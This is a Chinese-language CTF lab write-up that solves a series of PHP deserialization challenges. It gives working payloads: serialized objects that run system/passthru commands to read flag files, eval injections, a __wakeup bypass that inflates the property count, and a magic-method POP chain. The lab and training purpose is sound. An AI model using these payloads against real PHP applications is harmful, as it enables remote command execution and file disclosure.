phpserialize-labs靶场
直接post code=new flag();即可,大小写或者混用都可以
2
target实例化对象,要调用freeflag得 $target->free_flag;
法一:code=code=echo $flag_string;//cat不是php的语法
法二:code=echo $target->free_flag=$flag_string;//赋值
法三:code=var_dump(get_defined_vars());//暴力输出所有变量
get_defined_vars() 将所有变量设置成数组 这个是一个php的内置函数,他会返回一个包含当前作用域内所有已定义变量的关联数组。数组的键是变量名,值是变量的内容。 var_dump() 输出这个数组 用于输出变量的详细信息,包括类型和值。对数组会递归输出每个元素。
3.
如果code=echo $sub_target->private_flag;会报错,
不允许在类外部直接访问(包括全局作用域、eval() 执行的代码)
当你在 eval() 里写 $target->protected_flag 时,相当于在全局作用域访问,PHP 会报错:
Fatal error: Cannot access protected property FLAG::$protected_flag
public: 公共成员可以在任何地方被访问。 没有访问限制。 protected: 受保护成员只能在类本身和其子类中被访问。 不能在类外部直接访问,但可以在继承该类的子类中访问。 private: 私有成员只能在定义它们的类内部被访问。 不能在类的外部或子类中访问。
code=echo $target->get_private_flag();注意private的,连子类都不能调用,只允许自己
法二:暴力输出所有函数code=var_dump(get_defined_vars());
4.
code=echo serialize($flag_is_here);
i 是 PHP 序列化中的"类型身份证",表示 Integer(整数)。
你看到的"有时候有,有时候没有",其实是因为不同的数据类型用不同的字母标识:
类型标识符对照
具体对比
s:18:"..." → 这是属性名(字符串类型),所以用 s
数组中的 i
a:2:{i:0;s:3:"se3";i:1;s:2:"me";}
i:0 和 i:1:表示数组的键(key)是整数 0 和 1
a:2:{s:4:"name";s:3:"Tom";s:3:"age";i:20;}
键 s:4:"name"(字符串 "name")→ 值 s:3:"Tom"(字符串)
键 s:3:"age"(字符串 "age")→ 值 i:20(整数 20)
总结
i = 整数(Integer)
s = 字符串(String)
5.
$your_object->a_value = "FLAG";
$your_array = array('a'=>"Plz",'b'=>"Give_M3");
$exp = "o=".serialize($your_object)."&s=".serialize($your_string)."&a=".serialize($your_array)."&i=".serialize($your_number)."&b=".serialize($your_boolean)."&n=".serialize($your_NULL);
protected_key=O:12:"protectedKEY":1:{s:16:"*protected_key";s:13:"protected_key";}&private_key=O:10:"privateKEY":1:{s:10:"private_key";s:11:"private_key";}
6.
这还是挺简单的,有前面的基础
<?php class protectedKEY{ protected $protected_key="protected_key"; function get_key(){ return $this->protected_key; } } class privateKEY{ private $private_key="private_key"; function get_key(){ return $this->private_key; } } echo urlencode(serialize(new protectedKEY())); echo urlencode(serialize(new privateKEY())); ?>
7.
<?php class FLAG{ public $flag_command = "passthru('tac flag.php');"; function backdoor(){ eval($this->flag_command); } } echo serialize(new FLAG()); ?>
注意不要直接tac,因为直接tac是字符串,加了passthru才是函数
/
/ 反序列化后 $this->flag_command = "tac flag.php"; // eval 执行时变成: eval("tac flag.php");
8.
法一,因为已经给权限了eval(),所以可以直接赋值Payload:code=$flag=6; 或 code=global $flag;$flag=6;
法二,code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));
9.跟第七题很像
<?php class FLAG{ public $flag_command = "system('cat /flag');"; } echo urlencode(serialize(new FLAG())); ?> //O%3A4%3A%22FLAG%22%3A1%3A%7Bs%3A12%3A%22flag_command%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D
10
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
<?php class FLAG{ function __wakeup() { include 'flag.php'; echo $flag; } } echo serialize(new FLAG()); ?> //O:4:"FLAG":0:{}
11.
//外面还有一个$flag,这是真正的flag class FLAG { public $flag = "FAKEFLAG";//局部变量flag public function __wakeup(){ global $flag;//引用全局变量flag(真正的flag),这是引用,不是定义 $flag = NULL;//把全局变量flag设为null,以此不输出真正的flag } public function __destruct(){ global $flag;//引用全局变量 if ($flag !== NULL) {//判断全局变量 echo $flag;//输出全局变量 }else { echo "sorry,flag is gone!"; } } }
unserialize会自动调用wakeup,然后destruct,所以不应该调用wakeup
不能改掉$flag = NULL;,因为序列化只是序列类里面的属性,也就是类一开始定义的局部变量,但是类里面的方法是动不了的,序列化不会序列类里面的方法,方法是代码,只能绕过
所以我们可以直接把序列化的那个结果个数改错,然后程序就直接进入destruct了
// 正常:__wakeup 执行,flag 被清空 O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";} // 绕过:属性个数改大,__wakeup 被 PHP 跳过! O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";} // ↑ 改成 2,触发 CVE-2016-7124,方法不执行
12.
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。该方法必须返回一个数组: return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']。数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论有无都无法序列化该属性。如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 - %00父类名称%00变量名 (%00 是 ASCII 值为 0 的空字符 null,在代码内我们也可以通过 "\0" - 注意在双引号中,PHP 才会解析转义字符和变量。)。例如,父类 FLAG 的私有属性 private $f; 应该在子类的 __sleep() 方法中以 "\0FLAG\0f" 的格式返回。如果该方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。
class FLAG { private $f; private $l; protected $a; public $g; public $x,$y,$z; public function __sleep() { return ['x','y','z'];//只会序列化属性xyz } } class CHALLENGE extends FLAG { public $h,$e,$l,$I,$o,$c,$t,$f; function chance() { return $_GET['chance'];//可控 } public function __sleep() {//重写父类的sleep函数 /* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */ //意思是flag就在这几个属性所代表的值里面,如果能知道这几个属性,就可以知道flag了,然后下面又有可以序列化的地方,所以如果能序列化这几个属性,就可以知道flag了 $array_list = ['h','e','l','I','o','c','t','f','f','l','a','g']; $_=array_rand($array_list);$__=array_rand($array_list);//随机取上面数组的两个 return array($array_list[$_],$array_list[$__],$this->chance()); } } $FLAG = new FLAG(); echo serialize($FLAG); echo serialize(new CHALLENGE());
乍一看有点绕,但后面看得懂代码就还行,因为chance可控,所以一一 ?chance= 即可,得到
HelloCTF{Th3__is_called_before_serialization___sleep_function_t0___sleep_function_4nd_select_variab1es}
13.
一般情况下echo无法直接输出一个对象,而通过toString()函数则可以实现
当尝试使用echo输出一个对象的时候,其会尝试检查对象是否定义了一个toString(),如果没有定义则直接返回一个错误
o=echo $obj;
14
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj=new xxx(), $obj(传参)。
o=echo $obj(get_flag);/o=echo $obj("get_flag");
16.
<?php class A { public $a="flag.php"; public function __invoke() { include $this->a; return $flag; } } class B { public $b; public function __toString() { $f = $this->b; return $f(); } } class INIT { public $name; public function __wakeUp() { echo $this->name.' is awake!'; } } $a=new A(); $b=new B(); $init=new INIT();//unserialize触发wakeup() $init->name=$b;//把对象当成字符串,触发tostring $b->b=$a;//把对象当数组触发invoke echo serialize($init); ?> //O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}
17.
class A { } echo "Class A is NULL: '".serialize(new A())."'<br>"; class B { public $a = "Hello"; protected $b = "CTF"; private $c = "FLAG{TEST}"; } echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>"; $serliseString = serialize(new B()); $serliseString = str_replace('B', 'A', $serliseString);//把$serliseString里面的所有字符B换成A echo "After replace B with A,we unserialize it and dump :<br>"; var_dump(unserialize($serliseString));//打印函数 if(isset($_POST['o'])) { $a = unserialize($_POST['o']); if ($a instanceof A && $a->helloctfcmd == "get_flag") {//$a是否是A的实例 include 'flag.php'; echo $flag; } else { echo "what's rule?"; } } else { highlight_file(__FILE__); }
exp:
class A { public $helloctfcmd = "get_flag"; } echo urlencode(serialize(new A()));

















浙公网安备 33010602011771号